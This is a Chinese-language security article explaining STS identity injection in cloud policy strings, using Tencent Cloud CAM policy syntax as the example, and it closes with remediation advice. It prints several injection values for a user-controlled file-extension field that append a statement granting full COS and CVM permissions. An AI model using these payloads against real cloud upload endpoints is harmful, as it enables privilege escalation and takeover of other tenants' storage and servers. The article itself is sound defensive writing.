STS全称安全凭证服务(Security Token Service),在云服务中最常用到的临时身份管控方案。无论是在前端文件上传、亦或是子账号权限分配,他通过主(子)账户,去调用权限下发的API,在API参数中,配置相应的权限字符串(Policy),服务端则会解析用户上传的权限字符串,给出相应的的临时账户,一般由accessKey、accessKeySecret、STS Token组成。下面列举下国内常见的STS文档:
STS身份注入攻击
身份注入漏洞一般发生在云租户允许用户去自定义权限字符串(Policy)中的部分元素时存在,例如在对象存储上传时,服务端使用STS进行权限控制,但是又允许用户输入上传的后缀、目录或大小时,会存在问题。这里我们以腾讯云为例(腾讯云STS已经在去年末,通过API服务侧限制Policy进行止血,理论不再会存在此类型漏洞)大概理一下此类漏洞的原理以及利用方式。
在文档中,我们可以看到,Policy的生成,依赖于 CAM 策略语法。
所谓的CAM策略语法,实际上就是一个由version、statement组成的json字符串,其中statement是我们需要给STS临时身份授权的具体策略列表,由核心元素包括委托人(principal)、操作(action)、资源(resource)、生效条件(condition)以及效力(effect)组成的json列表组合而成。下面是一个示例:
{
"version": "2.0",
"statement": [
{
"principal": {
"qcs": [
"qcs::cam::uid/1238423:uin/3232523"
]
},
"effect": "allow",
"action": [
"cos:PutObject",
"cos:GetObject",
"cos:HeadObject",
"cos:OptionsObject",
"cos:ListParts",
"cos:GetObjectTagging"
],
"resource": [
"qcs::cos:ap-beijing:uid/1238423:bucketA-1238423/",
"qcs::cos:ap-guangzhou:uid/1238423:bucketB-1238423/object2"
],
"condition": {
"ip_equal": {
"qcs:ip": "10.121.2.10/24"
}
}
},
{
"principal": {
"qcs": [
"qcs::cam::uid/1238423:uin/3232523"
]
},
"effect": "allow",
"action": "cmqqueue:SendMessage",
"resource": ""
}
]
}
看完上面的示例,这里给一个很简单的案例,我们在开发上传API的时候,如果想要用户只能上传目录(dir)为userid,后缀(ext)为.txt的文件,应该如何进行去编写业务逻辑?
一般来说,业务会考虑从session中取得userid,后缀或是文件名,则可能从用户输入的参数中获取,再接入到我们的statement中,这样我们的策略就会变成(一般在后端调用不会存在换行符,这里为了美化展示,加上了换行符):
{
"version": "2.0",
"statement": [
{
"principal": {
"qcs": [
"qcs::cam::uid/1238423:uin/3232523"
]
},
"effect": "allow",
"action": [
"cos:PutObject"
],
"resource": [
"qcs::cos:ap-beijing:uid/1238423:bucketA-1238423/{dir}/{filename}.{ext}"
]
}
]
}
到这里,其实此类漏洞就已经很明显了,当我们的ext是用户可控的话,我们就可以构造出,类似于:
ext=txt"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:*
最终,发送到API的statement就成了我们修改过的恶意的,可以接管cos、以及cvm的statement,美化后如下:
{
"version": "2.0",
"statement": [
{
"principal": {
"qcs": [
"qcs::cam::uid/1238423:uin/3232523"
]
},
"effect": "allow",
"action": [
"cos:PutObject"
],
"resource": [
"qcs::cos:ap-beijing:uid/1238423:bucketA-1238423/{dir}/{filename}.txt"
]
}, {
"effect": "allow",
"action":["*"],
"resource":[
"qcs::cos:*",
"qcs::cvm:*"
]
}
]
}
在这个payload中,我们构造了两个statement,第一个为按照业务预期的,控制了后缀以后的statement,第二个则是由我们注入后,可以直接控制用户CVM、与COS所有权限的statement。当然,如果云服务的API server后端是使用的是一些特性比较多的JSON解析方案,payload还可以有更多变化,例如
ext="]}]}//
ext=","qcs::cvm:"],"effect": "allow","action": ["","
具体如何拓展可参考各家使用JSON解析方案的支持语法,以及各家自身的具体实现。
此类漏洞修复方案,一般分为三种,其中两种需要深入每一处业务使用,最后一种只可以整体去避开此类风险。
类似SQL注入、SLS注入一样,在每次调用API之前,对用户输入的内容进行过滤与校验。
使用官方给出的SDK去调用,官方SKD一般会通过JSONObject类的方案去生成请求参数,会很大程度上避免这个问题,但是如果API Server有比较离谱的实现,就是另外一回事了。
使用权限限制较多的子账户去下发STS身份,这样可以避免注入后获取List、FullAccess等敏感权限。